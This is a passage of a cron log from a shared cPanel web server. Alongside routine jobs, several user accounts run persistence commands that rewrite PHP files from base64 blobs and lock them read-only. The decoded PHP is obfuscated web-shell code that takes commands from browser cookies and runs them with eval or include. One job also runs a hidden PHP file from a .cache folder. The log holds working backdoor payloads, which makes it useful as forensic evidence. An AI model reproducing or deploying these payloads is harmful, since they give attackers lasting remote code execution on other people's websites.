dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:03:01 medusa CROND[11062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:03:01 medusa CROND[11063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:03:01 medusa CROND[11064]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:03:01 medusa CROND[11065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:03:01 medusa CROND[11066]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:03:01 medusa CROND[11068]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:03:01 medusa CROND[11069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:03:01 medusa CROND[11074]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:03:01 medusa CROND[11080]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:04:02 medusa CROND[13031]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:04:02 medusa CROND[13043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:04:02 medusa CROND[13044]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:04:02 medusa CROND[13045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:04:02 medusa CROND[13047]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:04:02 medusa CROND[13048]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:04:02 medusa CROND[13049]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:04:02 medusa CROND[13050]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:04:02 medusa CROND[13052]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:04:02 medusa CROND[13053]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:04:02 medusa CROND[13060]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:04:02 medusa CROND[13062]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:04:02 medusa CROND[13063]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:05:01 medusa CROND[14969]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:05:02 medusa CROND[14973]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:05:02 medusa CROND[15005]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:05:02 medusa CROND[15006]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:05:02 medusa CROND[15007]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:05:02 medusa CROND[15008]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:05:02 medusa CROND[15009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:05:02 medusa CROND[15010]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:05:02 medusa CROND[15014]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:05:02 medusa CROND[15016]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94ai